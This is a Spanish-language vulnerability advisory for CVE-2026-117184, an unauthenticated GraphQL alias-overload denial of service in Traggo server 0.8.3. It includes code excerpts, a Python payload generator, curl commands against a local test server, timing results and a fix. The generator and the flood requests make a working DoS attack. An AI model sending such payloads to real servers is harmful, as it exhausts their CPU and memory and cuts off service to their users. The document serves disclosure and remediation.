
Prueba de concepto y análisis técnico de CVE-2026-117184, una denegación de servicio no autenticada por sobrecarga de alias en GraphQL en Traggo 0.8.3, con generador de payload y guía de corrección.
El servidor Traggo v0.8.3 es vulnerable a una Denegación de Servicio (DoS) no autenticada. El endpoint GraphQL acepta un número ilimitado de campos con alias y no tiene límite de tamaño del cuerpo de la solicitud. Dado que el campo version carece de la directiva @hasRole, esto puede desencadenarse sin iniciar sesión.
Un documento manipulado con muchos alias (p. ej., {v0:version{name} v1:version{name} ...}) obliga al servidor a dedicar mucho tiempo a resolver campos y a asignar memoria en exceso. Una sola solicitud con 100.000 alias (una carga útil de 2,0 MB) mantiene ocupado un núcleo de CPU durante más de 100 segundos y consume casi 1 GB de RAM. Las solicitudes en paralelo pueden llevar fácilmente el proceso a territorio OOM (Out of Memory).
| Campo | Valor |
|---|---|
| ID de CVE | CVE-2026-117184 |
| Registro oficial | cve.org/CVERecord?id=CVE-2026-117184 |
| Versión afectada | Traggo server v0.8.3 (commit 6321119c3c2d55f04e2e4967f6492aabd6067b76) |
| Tipo de vulnerabilidad | CWE-400: Consumo incontrolado de recursos (DoS) |
| Vector de ataque | Red |
| Privilegios requeridos | Ninguno (no autenticado) |
| Componente afectado | Endpoint GraphQL /graphql (graphql/handler.go), schema.graphql, logger/gql.go |
| Informe original | traggo/server#253 |
| Ruta de archivo | Descripción |
|---|---|
graphql/handler.go | Configuración del handler sin límite de complejidad ni límite de tamaño del cuerpo. |
schema.graphql | El campo version carece de directiva de autenticación. |
auth/hasrole.go | Implementación de la directiva (omitida para version). |
graphql/resolver.go | El resolver de version se invoca para cada alias. |
logger/gql.go | La consulta sin procesar se registra en los errores, lo que amplifica el impacto del tamaño del cuerpo. |
graphql/handler.go:13-27 — nunca se pasa handler.ComplexityLimit(...). El cuerpo de la solicitud va directamente a gqlHandler.ServeHTTP sin http.MaxBytesReader.
func Handler(endpoint string, resolvers gqlschema.ResolverRoot, directives gqlschema.DirectiveRoot) http.HandlerFunc {
gqlHandler := handler.GraphQL(gqlschema.NewExecutableSchema(gqlschema.Config{
Resolvers: resolvers,
Directives: directives,
}), handler.RequestMiddleware(logger.GQLLog()))
playground := handler.Playground("Traggo Playground", endpoint)
return func(writer http.ResponseWriter, request *http.Request) {
if acceptHTMLAndNotJSON(request) {
playground.ServeHTTP(writer, request)
} else {
gqlHandler.ServeHTTP(writer, request)
}
}
}
version sin autenticaciónschema.graphql:62 — Mientras que otros campos tienen @hasRole(role: USER), el campo version no lo tiene, lo que lo hace accesible sin un encabezado Authorization.
devices: [Device!] @hasRole(role: USER)
timeSpans(fromInclusive: Time, toInclusive: Time, cursor: InputCursor): PagedTimeSpans! @hasRole(role: USER)
# ...
version: Version!
graphql/resolver.go:67-71 — Cada alias en el conjunto de selección invoca el resolver por separado, multiplicando el uso de CPU y memoria.
func (r *resolver) Version(ctx context.Context) (*gqlmodel.Version, error) {
gql := &gqlmodel.Version{}
copier.Copy(gql, r.version)
return gql, nil
}
gqlgen v0.17.85 solo habilita el límite de complejidad cuando la aplicación lo establece explícitamente (handler/handler.go:59-67). Dado que Traggo no lo hace, cfg.complexityLimit es 0 y no se añade ninguna extensión.
logger/gql.go:27-36 — Incluso si la consulta falla, se registra la consulta sin procesar. Una carga útil de 20 MB genera una entrada de registro de 20 MB por solicitud.
if len(errs) > 0 {
// ...
log.Error().Strs("error", errorStrings).Str("took", elapsed.String()).Msg("GQL: " + toOneLine(hidePassword(rawQuery)))
}
Probado en v0.8.3, compilado desde el código fuente con go build (Go 1.24.4, SQLite, 4 núcleos, 7.7 GB de RAM).
API=http://127.0.0.1:3999/graphql
curl -s -D - "$API" \
-H 'Content-Type: application/json' \
--data-binary '{"query":"{version{name commit}}"}' \
-o /tmp/version.json
cat /tmp/version.json
# Response: {"data":{"version":{"name":"develop","commit":"-"}}}
python3 - <<'EOF'
import json
for n in (5000, 20000, 50000, 100000):
q = "{" + " ".join(f"v{i}:version{{name}}" for i in range(n)) + "}"
with open(f"/tmp/alias_{n}.json", "w") as f:
json.dump({"query": q}, f)
EOF
(El archivo de 100k es de 2.088.904 bytes).
for n in 5000 20000 50000; do
curl -s "$API" -H 'Content-Type: application/json' \
-d @/tmp/alias_$n.json -o /dev/null \
-w "$n: http=%{http_code} time=%{time_total}\n"
done
| Alias | Tamaño de la solicitud | Tiempo | Notas |
|---|---|---|---|
| 5,000 | 99 KB | 0.15 s | |
| 20,000 | 409 KB | 2.37 s | |
| 50,000 | 1.0 MB | 24.47 s | 100% de un núcleo |
| 100,000 | 2.0 MB | 102.56 s | RSS 962 MB |
Tres solicitudes de 50k en paralelo mostraron un uso de CPU del 291-299% en una máquina de 4 núcleos. El servidor no se cae inmediatamente, pero las consultas pequeñas siguen respondiendo (alrededor de 1 ms) mientras se ejecutan las grandes. El problema principal es la fijación de CPU y un posible OOM.
Aplicar los límites en graphql/handler.go:
gqlHandler := handler.GraphQL(gqlschema.NewExecutableSchema(gqlschema.Config{
Resolvers: resolvers,
Directives: directives,
}),
handler.ComplexityLimit(1000), // Set a reasonable limit based on dashboard queries
handler.RequestMiddleware(logger.GQLLog()),
)
// Wrap the request handler with MaxBytesReader
return func(writer http.ResponseWriter, request *http.Request) {
request.Body = http.MaxBytesReader(writer, request.Body, 1024*1024) // e.g., 1 MB limit
// ... (rest of the handler)
}
Nota: Con ComplexityLimit(1000), la consulta de alias de 50k falla en 0.17s con un error: operation has complexity 100000, which exceeds the limit of 1000.
versionSi version no necesita ser público, añade @hasRole(role: USER) a schema.graphql:
version: Version! @hasRole(role: USER)
| Componente | Versión |
|---|---|
| Traggo Server | v0.8.3 (commit 6321119c...) |
| Go | 1.24.4 |
| gqlgen | 0.17.85 |
| Base de datos | SQLite |
| SO | Linux (4 núcleos, 7.7 GB de RAM) |
| Fecha | Evento |
|---|---|
| 2026-10-22 | Issue #253 reportado al repositorio del servidor de Traggo |
| 2026-10-30 | Registro oficial de CVE publicado en cve.org |
| — | A la espera de la respuesta del mantenedor sobre la corrección |